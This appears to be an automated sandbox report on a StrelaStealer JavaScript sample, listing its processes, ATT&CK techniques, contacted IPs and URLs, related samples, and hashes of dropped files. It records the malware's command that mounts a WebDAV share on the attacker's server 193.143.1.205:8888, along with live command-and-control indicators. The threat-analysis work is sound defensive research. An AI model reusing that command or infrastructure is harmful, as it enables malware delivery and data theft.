Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2926013193173129097.js	5%	Virustotal		Browse
2926013193173129097.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/o	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/_	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3354132718.0000020115E00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2145136294.0000020115C60000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2145076188.000001F03BC18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2155680032.000001F03BC3F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/_	net.exe, 00000007.00000002.2155596163.000001F03BC18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2145076188.000001F03BC18000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/o	net.exe, 00000007.00000002.2155596163.000001F03BC18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2145076188.000001F03BC18000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588747
Start date and time:	2025-01-11 04:58:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2926013193173129097.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 3.233.129.217, 52.6.155.20, 3.219.243.226, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 2.16.168.107, 2.16.168.105, 2.23.197.184, 20.12.23.50, 13.107.246.45, 23.1.237.91, 104.76.100.172
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:59:07	API Interceptor	19x Sleep call for process: powershell.exe modified
22:59:10	API Interceptor	1x Sleep call for process: net.exe modified
22:59:10	API Interceptor	2x Sleep call for process: svchost.exe modified
22:59:23	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18620271451234622924.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1012716259541818656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23858205001607627322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183751298714312883.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3414115772858819502.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307209730222621
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug5:gJjJGtpTq2yv1AuNZRY3diu8iBVqFb
MD5:	8414D7E5684C5013AE4D9CDB941B9A71
SHA1:	29DC24FE8A7B15F8CE7CC3065EB49C5DC1ED5400
SHA-256:	4940AC6CB13D0368F9C74F8D0067CEC2A47C7EFFE3B61E734EF639662A35DC2F
SHA-512:	E2B7631A15A11235562DC58A9547EA1A978D18CB16301BBC35D5FB522836043B856F90FB9C7F40C455D268E97571211CC1E8DBCB55533A2347655E7D3866CB16
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x12224584, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585941331713507
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	1132F107FE8E71F6E2721D031210E134
SHA1:	F8541BDAAB5279F69C7F9E0C0F1C665243DDEDF5
SHA-256:	AD73EAFB7E7151E30CE3DF5E808F35A058E0B74A0DBAB03BCBE690910433D6EF
SHA-512:	03EF2C783D0569E952488198899692BBC3DFC22502459BDB00C0440A5AEABCB8917CCB7672640BCCFD4D8EF8C71DE0B88FA2CBCC2B616F950E848E1F8D4E55C9
Malicious:	false
Preview:	."E.... ...............X\...;...{......................0.z..........{...;...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................[....;...}g..................E.#.;...}/..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08065643031264216
Encrypted:	false
SSDEEP:	3:zyKYeZ5uCP5tGuAJkhvekl125eajttollrekGltll/SPj:eKzZ5XRtrxlCptGJe3l
MD5:	E4D529594E72302D36FFA21F3971D4C2
SHA1:	948ECE2B1F7EC990EF22CDD6C00647E6BA28F239
SHA-256:	F50EE9B5F6C3D60E3F6DB807674C742206038E3B7E79605A5856A57588BDB94C
SHA-512:	4F535B40FABD134ABD17C54FBDCA6F02DE2A7C51ED2D6EB28C073EF53D0AC498A7F3EDDAC9277A6A2814832A194805BFA87B30E343D5AAF458F88547566160FB
Malicious:	false
Preview:	j.......................................;...{...;...}/......{...............{.......{...XL......{...................E.#.;...}/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.136594154190067
Encrypted:	false
SSDEEP:	6:iO4qXRi0q2P92nKuAl9OmbnIFUtSqXRioq9ZmwsqXRifmkwO92nKuAl9OmbjLJ:7tv4HAahFUthq9/d5LHAaSJ
MD5:	A8679B9B390D5E5A20A90859C7626091
SHA1:	7B78AD606D73F3AEB17157291E20D771311ED23B
SHA-256:	B15E2D366E6C8EC14C1BE31E8E4BAF176383ABD39096A3526F0B611839D9FAAD
SHA-512:	601D8D4178CBABE2EA71C7F73878E53D8D164AA50ED7F7A423BF0963DAC7A01CC4B5FBA9E79D6AD5E40B13ED4D6123860264CE00DDE430C13BCDC34454EA8561
Malicious:	false
Preview:	2025/01/10-22:59:10.525 10e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:59:10.527 10e4 Recovering log #3.2025/01/10-22:59:10.528 10e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.136594154190067
Encrypted:	false
SSDEEP:	6:iO4qXRi0q2P92nKuAl9OmbnIFUtSqXRioq9ZmwsqXRifmkwO92nKuAl9OmbjLJ:7tv4HAahFUthq9/d5LHAaSJ
MD5:	A8679B9B390D5E5A20A90859C7626091
SHA1:	7B78AD606D73F3AEB17157291E20D771311ED23B
SHA-256:	B15E2D366E6C8EC14C1BE31E8E4BAF176383ABD39096A3526F0B611839D9FAAD
SHA-512:	601D8D4178CBABE2EA71C7F73878E53D8D164AA50ED7F7A423BF0963DAC7A01CC4B5FBA9E79D6AD5E40B13ED4D6123860264CE00DDE430C13BCDC34454EA8561
Malicious:	false
Preview:	2025/01/10-22:59:10.525 10e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:59:10.527 10e4 Recovering log #3.2025/01/10-22:59:10.528 10e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.11742033072588
Encrypted:	false
SSDEEP:	6:iO4qXRieCq2P92nKuAl9Ombzo2jMGIFUtSqXRikgZZmwsqXRikfbkwO92nKuAl97:7lCv4HAa8uFUtxgZ/lb5LHAa8RJ
MD5:	BB79054B9F1135B74C6D8FC315233EE7
SHA1:	B54B9E51DE8454E6A2DF3A12A7D1EBD6D3B2D846
SHA-256:	78981F6DDDA8FFE54431096B492E74FCC84FA7131C5E9E014C855C6E0E7A6F88
SHA-512:	9E9CCA3D273BF41825BFA279C65A6BCA1AB062AD39B3AF0C9A5C484D429E518BD69BCA9C926A68FF9F89E9068D7347BA4EA109C268294C52B08051EBCDD46BE8
Malicious:	false
Preview:	2025/01/10-22:59:10.595 1cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:59:10.606 1cb0 Recovering log #3.2025/01/10-22:59:10.607 1cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.11742033072588
Encrypted:	false
SSDEEP:	6:iO4qXRieCq2P92nKuAl9Ombzo2jMGIFUtSqXRikgZZmwsqXRikfbkwO92nKuAl97:7lCv4HAa8uFUtxgZ/lb5LHAa8RJ
MD5:	BB79054B9F1135B74C6D8FC315233EE7
SHA1:	B54B9E51DE8454E6A2DF3A12A7D1EBD6D3B2D846
SHA-256:	78981F6DDDA8FFE54431096B492E74FCC84FA7131C5E9E014C855C6E0E7A6F88
SHA-512:	9E9CCA3D273BF41825BFA279C65A6BCA1AB062AD39B3AF0C9A5C484D429E518BD69BCA9C926A68FF9F89E9068D7347BA4EA109C268294C52B08051EBCDD46BE8
Malicious:	false
Preview:	2025/01/10-22:59:10.595 1cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:59:10.606 1cb0 Recovering log #3.2025/01/10-22:59:10.607 1cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\36b4e053-0725-4a7f-883b-76a46f33a31f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.047981433059437
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqEsBdOg2Hscaq3QYiubxnP7E4T3OF+:Y2sRdsIdMHP3QYhbxP7nbI+
MD5:	57223BCBDB7198A484ED91ED6DFBDD40
SHA1:	7FC925A88C89DA4A75561717FE8F7CF8CFAF901A
SHA-256:	DB848DAD38B1CA4F062DDF7A111638A1C32DB20B8BDCE605F221750C1E383BF8
SHA-512:	9AD64FD694E3F37C814407E2A72F235D482102AB35EB84E409C1E11CA7D1E515B6AEA517C3E6CB82230DDC30155830FB0DC5088E2F446B3AB47136B9E60E43BE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381127963088581","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138985},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047981433059437
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqEsBdOg2Hscaq3QYiubxnP7E4T3OF+:Y2sRdsIdMHP3QYhbxP7nbI+
MD5:	57223BCBDB7198A484ED91ED6DFBDD40
SHA1:	7FC925A88C89DA4A75561717FE8F7CF8CFAF901A
SHA-256:	DB848DAD38B1CA4F062DDF7A111638A1C32DB20B8BDCE605F221750C1E383BF8
SHA-512:	9AD64FD694E3F37C814407E2A72F235D482102AB35EB84E409C1E11CA7D1E515B6AEA517C3E6CB82230DDC30155830FB0DC5088E2F446B3AB47136B9E60E43BE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381127963088581","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138985},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.232142025374707
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU0f+x9rI:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL/
MD5:	7EE0DFC4B34166CBE5734EC80B350D37
SHA1:	0A287342B9A05F0F6C74722C9B676A08372A3483
SHA-256:	3AE63DC6995E74FE93DC1518B6D579A6EF3FC54507D48C8A9912E8759AE4C8BA
SHA-512:	E0594CC0B95BE012F8D5BF9C49BF62EE2E3B22A325C0EE3E5276AF5A34FC7395D916613E97A6386E07C67DB7F3CA848A3293FBFBC1222F8BE88F5FFB7608984C
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.146711497438533
Encrypted:	false
SSDEEP:	6:iO4qXRinq2P92nKuAl9OmbzNMxIFUtSqXRi1PZZmwsqXRiAkwO92nKuAl9OmbzNq:7Wv4HAa8jFUtGPZ/P5LHAa84J
MD5:	3ABB9A5F08F12DFA50DC8E4742B8FFF3
SHA1:	694236C680CBC80E61F2A6750DA11FD21913BC88
SHA-256:	14BAA28306A8FC3B3E9FABFD4122EE300E31C354D92B8E7DE8833F8EF7E04712
SHA-512:	1F55F8411967A9D871898C30A1F5D76CBA4558F6918AD35130F7299636AE99913E977C2E88A1002C80CF11049F9334A674A0BE538BE97A7D9B23114DE9F3605B
Malicious:	false
Preview:	2025/01/10-22:59:10.733 1cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:59:10.734 1cb0 Recovering log #3.2025/01/10-22:59:10.735 1cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.146711497438533
Encrypted:	false
SSDEEP:	6:iO4qXRinq2P92nKuAl9OmbzNMxIFUtSqXRi1PZZmwsqXRiAkwO92nKuAl9OmbzNq:7Wv4HAa8jFUtGPZ/P5LHAa84J
MD5:	3ABB9A5F08F12DFA50DC8E4742B8FFF3
SHA1:	694236C680CBC80E61F2A6750DA11FD21913BC88
SHA-256:	14BAA28306A8FC3B3E9FABFD4122EE300E31C354D92B8E7DE8833F8EF7E04712
SHA-512:	1F55F8411967A9D871898C30A1F5D76CBA4558F6918AD35130F7299636AE99913E977C2E88A1002C80CF11049F9334A674A0BE538BE97A7D9B23114DE9F3605B
Malicious:	false
Preview:	2025/01/10-22:59:10.733 1cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:59:10.734 1cb0 Recovering log #3.2025/01/10-22:59:10.735 1cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklvDGLlltfllXlE/HT8kw7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKyGDeT8rVNMa8RdWBwRd
MD5:	7E661D95881F39B296A0B0506E2FFAFA
SHA1:	DEF0A78F9F56E5A1BE5B297DC48310C7A99292A7
SHA-256:	BA4983CAB18694302CE3F8F1ED259E747D2E3AE4F595B38B6886E5FACE85DF15
SHA-512:	1DC0CE706BD4930A0E7A0586831CC9FF945FAC532363007CE0DC39F3955FC0A0F5148E69FCC7E087D6A52400FC24AE05F27BB7B253A4BCAEADBBB2893977E964
Malicious:	false
Preview:	p...... ...........3.c..(....................................................... ..........W.....z..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
